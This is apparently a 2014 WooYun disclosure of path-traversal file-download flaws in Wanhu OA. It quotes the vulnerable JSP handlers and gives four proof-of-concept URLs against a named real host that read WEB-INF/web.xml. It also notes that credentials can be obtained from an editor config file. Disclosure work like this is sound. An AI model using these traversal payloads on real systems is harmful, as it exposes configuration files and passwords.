当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065752

漏洞标题:万户OA多处无限制任意文件下载

相关厂商:万户OA

漏洞作者: 瘦蛟舞

提交时间:2014-06-23 17:30

修复时间:2014-09-21 17:32

公开时间:2014-09-21 17:32

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-23: 细节已通知厂商并且等待厂商处理中
2014-06-27: 厂商已经确认,细节仅向厂商公开
2014-06-30: 细节向第三方安全合作伙伴开放
2014-08-21: 细节向核心白帽子及相关领域专家公开
2014-08-31: 细节向普通白帽子公开
2014-09-10: 细节向实习白帽子公开
2014-09-21: 细节向公众公开

简要描述:

万户OA多处无限制任意文件下载

详细说明:

头两处没啥好说的直接利用

<%
// 得到文件名字和路径
String filepath="";
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
String path=request.getParameter("path");
filepath=HSR.getRealPath("/upload/")+"/"+path+"/";
String filename = request.getParameter("FileName");
String name = request.getParameter("name");
// 设置响应头和下载保存的文件名
response.setContentType("csv");
response.setHeader("Content-Disposition",
"attachment; filename=\"" + name + "\"");
// 打开指定文件的流信息
java.io.FileInputStream fileInputStream =
new java.io.FileInputStream(filepath + filename);
// 写出流信息
int i;
while ((i=fileInputStream.read()) != -1) {
out.write(i);
}
fileInputStream.close();
out.close();
%>


POC1:http://oa.zjcof.com.cn/defaultroot/netdisk/download_netdisk.jsp?path=1&fileName=../../WEB-INF/web&fileExtName=xml&fileSaveName=x
POC2:http://oa.zjcof.com.cn/defaultroot/information_manager/informationmanager_download.jsp?path=..&FileName=WEB-INF/web.xml&name=x

information.jpg

漏洞证明:

后面两处要多一道程序,不过不麻烦。

<%
String local = session.getAttribute("org.apache.struts.action.LOCALE").toString();
// 得到文件名字和路径
String filepath="";
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
String path=request.getParameter("path");
filepath=HSR.getRealPath("/upload/")+"/wage_manager/";
String fileRealName = request.getParameter("fileRealName");
String fileSaveName = request.getParameter("fileSaveName");
response.reset();
response.setContentType("csv");
java.io.File file = new java.io.File(filepath+fileSaveName);
String dd = filepath+fileRealName;
if(file.exists()){
fileRealName = new String(fileRealName.getBytes("GBK"), "ISO8859-1");
response.setHeader("Content-Disposition","attachment; filename=\"" + fileRealName + "\"");
// 打开指定文件的流信息
java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath+fileSaveName);
java.io.BufferedInputStream bis = new java.io.BufferedInputStream(fileInputStream);
byte[] buffer = new byte[1024];
java.io.OutputStream os = response.getOutputStream();
while (bis.read(buffer)>0) {
os.write(buffer);
}
fileInputStream.close();
os.close();
out.close();
}else{
response.setContentType("text/html; charset=UTF-8");
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<SCRIPT LANGUAGE="JavaScript">
alert("<%=com.whir.i18n.Resource.getValue(local,"common","comm.filenotfound")%>");
history.back();
</SCRIPT>
</head>
<body>
</body>
</html>
<%}%>


因为要从session中取org.apache.struts.action.LOCALE,如果直接上poc必然会报空指针错误,这时候就需要去登陆页面登陆一下(不需要登陆成功)就可以获得此属性了,之后在上POC就可以啦。
POC3:http://oa.zjcof.com.cn/defaultroot/download_netdisk.jsp?path=1&fileName=../../WEB-INF/web&fileExtName=xml&fileSaveName=x
POC4:http://oa.zjcof.com.cn/defaultroot/wage_manager/download_wage_excelMode.jsp?fileRealName=x&fileSaveName=../../WEB-INF/web.xml

poc3.jpg


在继续利用就可以下载其编辑器配置文件看看密码。

defaultroot\public\edit\jsp\config.jsp

修复方案:

版权声明:转载请注明来源 瘦蛟舞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-06-27 22:52

厂商回复:

按以往处置渠道通报软件生产厂商。

最新状态:

暂无